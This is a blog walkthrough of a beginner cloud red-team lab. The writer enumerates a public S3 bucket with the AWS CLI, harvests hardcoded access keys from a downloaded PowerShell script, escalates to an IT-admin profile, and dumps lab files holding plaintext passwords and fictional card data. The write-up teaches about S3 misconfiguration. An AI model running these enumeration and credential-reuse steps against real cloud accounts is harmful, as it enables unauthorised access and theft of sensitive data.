AWS S3 Enumeration

AWS S3 Enumeration

Sebin Thomas

Scenario

It’s your first day on the red team, and you’ve been tasked with examining a website that was found in a phished employee’s bookmarks. Check it out and see where it leads! In scope is the company’s infrastructure, including cloud services.

Lab prerequisites

Basic Linux command line knowledge
AWS cli installed in your linux, if not check out this post AWS cli installation

Familiarity with the AWS CLI

Basic S3 enumeration and credential exfiltration
An awareness of how this scenario could be been prevented

Difficulty

Beginner

Focus

Red

Real-world context

Amazon S3 (Simple Storage Service) is a very popular (and the second oldest!) AWS service that is used to store files and backups, and can even be used to serve websites. This multi-use functionality has led some to argue that this service would be more secure if it were split into separate public web hosting and private file storage services. In recent years AWS have introduced more visual warnings when customers are making buckets world-readable, but still, if this setting is available, people will set it! Misconfigurations and overly permissive settings in S3 have resulted in many data breaches over the years.

Walkthrough

We were given a URL to start our enumeration: http://dev.huge-logistics.com.
Its nothing but a normal webpage

After inspecting the page source, we noticed it was hosted on an S3 bucket.

We used the AWS CLI for further enumeration.

S3 Enumeration

First, we attempted to list the bucket contents:

1
2
3
➜  S3 enumeration aws s3 ls s3://dev.huge-logistics.com
Unable to locate credentials. You can configure credentials by running "aws configure".
➜ S3 enumeration

Since credentials were missing, it returned an error. We retried with the --no-sign-request option to check for public access
The bucket allowed access, displaying several directories:

1
2
3
4
5
6
7
➜  S3 enumeration aws s3 ls s3://dev.huge-logistics.com --no-sign-request
PRE admin/
PRE migration-files/
PRE shared/
PRE static/
2023-10-16 22:30:47 5347 index.html
➜ S3 enumeration

The bucket was publicly accessible and contained several directories. We can try to check each folder and files.

1
2
3
4
5
6
7
8
9
10
11
12
13
➜  S3 enumeration aws s3 ls s3://dev.huge-logistics.com/admin --no-sign-request

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
➜ S3 enumeration aws s3 ls s3://dev.huge-logistics.com/migration-files/ --no-sign-request

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
➜ S3 enumeration aws s3 ls s3://dev.huge-logistics.com/shared/ --no-sign-request
2023-10-16 20:38:33 0
2023-10-16 20:39:01 993 hl_migration_project.zip
➜ S3 enumeration aws s3 ls s3://dev.huge-logistics.com/shared/static/ --no-sign-request

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
➜ S3 enumeration

Only the shared folder was accessible, containing a file named hl_migration_project.zip. We downloaded it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜  S3 enumeration aws s3 ls s3://dev.huge-logistics.com/shared/ --no-sign-request
2023-10-16 20:38:33 0
2023-10-16 20:39:01 993 hl_migration_project.zip
➜ S3 enumeration aws s3 ls s3://dev.huge-logistics.com/shared/static/ --no-sign-request

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
➜ S3 enumeration aws s3 cp s3://dev.huge-logistics.com/shared/hl_migration_project.zip ./ --no-sign-request
download: s3://dev.huge-logistics.com/shared/hl_migration_project.zip to ./hl_migration_project.zip
➜ S3 enumeration ls
hl_migration_project.zip
➜ S3 enumeration unzip hl_migration_project.zip
Archive: hl_migration_project.zip
inflating: migrate_secrets.ps1
➜ S3 enumeration cat migrate_secrets.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# AWS Configuration
$accessKey = "AKIA3S[____]XEHU"
$secretKey = "MwGe3[____]X/gb9"
$region = "us-east-1"

# Set up AWS hardcoded credentials
Set-AWSCredentials -AccessKey $accessKey -SecretKey $secretKey

# Set the AWS region
Set-DefaultAWSRegion -Region $region

# Read the secrets from export.xml
[xml]$xmlContent = Get-Content -Path "export.xml"

# Output log file
$logFile = "upload_log.txt"

# Error handling with retry logic
function TryUploadSecret($secretName, $secretValue) {
$retries = 3
while ($retries -gt 0) {
try {
$result = New-SECSecret -Name $secretName -SecretString $secretValue
$logEntry = "Successfully uploaded secret: $secretName with ARN: $($result.ARN)"
Write-Output $logEntry
Add-Content -Path $logFile -Value $logEntry
return $true
} catch {
$retries--
Write-Error "Failed attempt to upload secret: $secretName. Retries left: $retries. Error: $_"
}
}
return $false
}

foreach ($secretNode in $xmlContent.Secrets.Secret) {
# Implementing concurrency using jobs
Start-Job -ScriptBlock {
param($secretName, $secretValue)
TryUploadSecret -secretName $secretName -secretValue $secretValue
} -ArgumentList $secretNode.Name, $secretNode.Value
}

# Wait for all jobs to finish
$jobs = Get-Job
$jobs | Wait-Job

# Retrieve and display job results
$jobs | ForEach-Object {
$result = Receive-Job -Job $_
if (-not $result) {
Write-Error "Failed to upload secret: $($_.Name) after multiple retries."
}
# Clean up the job
Remove-Job -Job $_
}

Write-Output "Batch upload complete!"


# Install-Module -Name AWSPowerShell -Scope CurrentUser -Force
# .\migrate_secrets.ps1%
➜ S3 enumeration

Inside the ZIP file, we found migrate_secrets.ps1 containing an AWS access key and secret key. We configured the credentials and checked their validity:

1
2
3
4
5
6
➜  S3 enumeration aws configure --profile s3-enum
AWS Access Key ID [None]: AKIA3S[____]XEHU
AWS Secret Access Key [None]: MwGe3[____]X/gb9
Default region name [None]: us-east-1
Default output format [None]:
➜ S3

This provided us additional access:

1
2
3
4
5
6
7
➜  S3 enumeration aws sts get-caller-identity --profile s3-enum
{
"UserId": "AIDA3SFMDAPOYPM3X2TB7",
"Account": "794929857501",
"Arn": "arn:aws:iam::794929857501:user/pam-test"
}
➜ S3 enumeration

With this, we accessed previously restricted directories, including admin and migration-files.

1
2
3
4
5
6
7
8
9
10
11
12
13
➜  S3 enumeration aws s3 ls s3://dev.huge-logistics.com/admin --profile s3-enum
PRE admin/
➜ S3 enumeration aws s3 ls s3://dev.huge-logistics.com/migration-files/ --profile s3-enum
2023-10-16 20:38:47 0
2023-10-16 20:39:26 1833646 AWS Secrets Manager Migration - Discovery & Design.pdf
2023-10-16 20:39:25 1407180 AWS Secrets Manager Migration - Implementation.pdf
2023-10-16 20:39:27 1853 migrate_secrets.ps1
2023-10-16 23:30:13 2494 test-export.xml
➜ S3 enumeration aws s3 cp s3://dev.huge-logistics.com/migration-files/migrate_secrets.ps1 ./ --profile s3-enum
download: s3://dev.huge-logistics.com/migration-files/migrate_secrets.ps1 to ./migrate_secrets.ps1
➜ S3 enumeration aws s3 cp s3://dev.huge-logistics.com/migration-files/test-export.xml ./ --profile s3-enum
download: s3://dev.huge-logistics.com/migration-files/test-export.xml to ./test-export.xml
➜ S3 enumeration

We copied both migrate_secrets.ps1 and test-export.xml file to our machine and checked, migrate_secrets.ps1 is the same old file which we got before. In test-export.xml we got AWS IT Admin‘s secret and access keys which we can use to access admin directory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
➜  S3 enumeration cat test-export.xml
<?xml version="1.0" encoding="UTF-8"?>
<CredentialsExport>
<!-- Oracle Database Credentials -->
<CredentialEntry>
<ServiceType>Oracle Database</ServiceType>
<Hostname>oracle-db-server02.prod.hl-internal.com</Hostname>
<Username>admin</Username>
<Password>Password123!</Password>
<Notes>Primary Oracle database for the financial application. Ensure strong password policy.</Notes>
</CredentialEntry>
<!-- HP Server Credentials -->
<CredentialEntry>
<ServiceType>HP Server Cluster</ServiceType>
<Hostname>hp-cluster1.prod.hl-internal.com</Hostname>
<Username>root</Username>
<Password>RootPassword456!</Password>
<Notes>HP server cluster for batch jobs. Periodically rotate this password.</Notes>
</CredentialEntry>
<!-- AWS Production Credentials -->
<CredentialEntry>
<ServiceType>AWS IT Admin</ServiceType>
<AccountID>794929857501</AccountID>
<AccessKeyID>AKIA3[____]FWFGCD</AccessKeyID>
<SecretAccessKey>t21ERPmDq5[____]bnL4hY6jP</SecretAccessKey>
<Notes>AWS credentials for production workloads. Do not share these keys outside of the organization.</Notes>
</CredentialEntry>
<!-- Iron Mountain Backup Portal -->
<CredentialEntry>
<ServiceType>Iron Mountain Backup</ServiceType>
<URL>https://backupportal.ironmountain.com</URL>
<Username>hladmin</Username>
<Password>HLPassword789!</Password>
<Notes>Account used to schedule tape collections and deliveries. Schedule regular password rotations.</Notes>
</CredentialEntry>
<!-- Office 365 Admin Account -->
<CredentialEntry>
<ServiceType>Office 365</ServiceType>
<URL>https://admin.microsoft.com</URL>
<Username>admin@company.onmicrosoft.com</Username>
<Password>O365Password321!</Password>
<Notes>Office 365 global admin account. Use for essential administrative tasks only and enable MFA.</Notes>
</CredentialEntry>
<!-- Jira Admin Account -->
<CredentialEntry>
<ServiceType>Jira</ServiceType>
<URL>https://hugelogistics.atlassian.net</URL>
<Username>jira_admin</Username>
<Password>JiraPassword654!</Password>
<Notes>Jira administrative account. Restrict access and consider using API tokens where possible.</Notes>
</CredentialEntry>
</CredentialsExport>

➜ S3 enumeration

We can configure it again and check for any other interesting things.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
➜  S3 enumeration aws configure --profile it-admin
AWS Access Key ID [None]: AKIA3S[____]FWFGCD
AWS Secret Access Key [None]: t21ERPmDq[_____]lN9mAaJ0bnL4hY6jP
Default region name [None]:
Default output format [None]:
➜ S3 enumeration aws sts get-caller-identity --profile it-admin
{
"UserId": "AIDA3SFMDAPOWKM6ICH4K",
"Account": "794929857501",
"Arn": "arn:aws:iam::794929857501:user/it-admin"
}
➜ S3 enumeration aws s3 ls s3://dev.huge-logistics.com/admin/ --profile it-admin
2023-10-16 20:38:38 0
2023-10-16 20:40:51 32 flag.txt
2024-02-17 12:21:11 0 test
2023-10-17 01:54:07 2425 website_transactions_export.csv
➜ S3 enumeration

And we got access to admin directory and our flag and website_transactions_export.csv file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
➜  S3 enumeration aws s3 cp s3://dev.huge-logistics.com/admin/flag.txt ./ --profile it-admin
download: s3://dev.huge-logistics.com/admin/flag.txt to ./flag.txt
➜ S3 enumeration aws s3 cp s3://dev.huge-logistics.com/admin/website_transactions_export.csv ./ --profile it-admin
download: s3://dev.huge-logistics.com/admin/website_transactions_export.csv to ./website_transactions_export.csv
➜ S3 enumeration cat website_transactions_export.csv
network,credit_card_number,cvv,expiry_date,card_holder_name,validation,username,password,ip_address
Visa,4055497191304,386,5/2021,Hunter Miller,,hunter_m,password123,34.56.78.90
Visa,4055491339081,492,8/2021,Jayden Adams,,jay_adams,jayden2023,157.89.34.56
Visa,4055491511051,244,10/2025,Jose Baker,,joseBaker24,jose@pass,212.45.67.89
Visa,4313504070320,984,3/2025,Gabriel Phillips,,gabrielP,welcome2025,58.67.34.23
Visa,4313504750869252,522,5/2024,Joseph Thomas,,joethomas,joe!pass,94.23.45.67
Visa,4313501801459893,585,5/2021,Chloe Nelson,,chloe_n,summer21,71.23.45.89
Visa,4313506927832,748,4/2025,Brianna Brown,,briBrown,ilovebri,102.178.23.45
Visa,4313508703687539,854,9/2021,Jose Perez,,jperez,jose*pass,145.89.23.67
Visa,4055490538100206,903,2/2022,Brooklyn Davis,,brookD,cookie22,89.45.23.56
Visa,4055496324021,989,10/2024,Elijah Davis,,elijahD2024,honey24,132.56.78.90
Visa,4313507611385,798,10/2025,Jose Davis,,josed_25,chocolate,193.45.67.80
Visa,4313505844566770,391,10/2023,Anna Miller,,annaM,anna2023,144.68.90.10
Visa,4313503045245021,319,9/2022,Anthony Collins,,tony_collins,tony!pass,154.23.67.89
Visa,4313503967294,839,7/2023,Alyssa Thompson,,alyssaT23,thompson23,212.67.89.90
Visa,4055496654879978,242,10/2023,Gabriel Garcia,,garcia_gabe,letmein,148.12.67.34
Visa,4313502893954,923,7/2025,Noah Allen,,noah_allen25,password2025,178.45.23.12
Visa,4055497065912,770,9/2021,Hunter Anderson,,hunterA2021,winter21,165.89.34.12
Visa,4055499869808,492,8/2025,David Jackson,,djackson,trustno1,194.56.78.90
Visa,4055493603013,993,3/2023,Katherine Anderson,,kat_anderson,love2023,204.89.23.45
Visa,4313507735369298,267,3/2021,Aiden Jones,,aidenJ,aiden@logistics,168.90.23.67
Visa,4055490830817,631,1/2023,Etha Nelson,,ethaN,etha@2023,132.78.90.10
Visa,4055492037879157,235,10/2024,Katherine Martin,,k_martin,superpass,178.89.23.45
Visa,4055490511326,802,3/2025,Elijah Scott,,elijahS2025,summer25,212.34.56.78
Visa,4313507927120,620,8/2022,Julia Brown,,juliaB22,julia@logis,189.23.45.67
Visa,4055498615148980,916,4/2024,Jose Jones,,j_jones24,jose2024,178.56.78.90
Visa,4313502314852,986,6/2024,Samantha Thompso,,samanthaT,samantha2024,167.89.90.12
Visa,4055491551140558,357,2/2023,Elizabeth Nelson,,lizNelson,princess23,204.56.78.12
Visa,4055496059868048,722,3/2025,Grace Brown,,graceB25,charlie1,156.78.90.12
Visa,4313508490261548,894,7/2025,Landon Adams,,landonA,landon@logis,146.78.90.23%
➜ S3 enumeration

Conclusion

With escalated privileges, we accessed the admin directory, containing a flag and transaction data. This concluded our enumeration, highlighting the risks associated with misconfigured S3 permissions and the importance of securing sensitive files in cloud environments.

  • Title: AWS S3 Enumeration
  • Author: Sebin Thomas
  • Created at : 2024-11-03 12:14:00
  • Updated at : 2025-02-24 21:01:48
  • Link: https://0xsebin-blogs.vercel.app/2024/11/03/AWS-S3-Enumeration/
  • License: All Rights Reserved © Sebin Thomas
Comments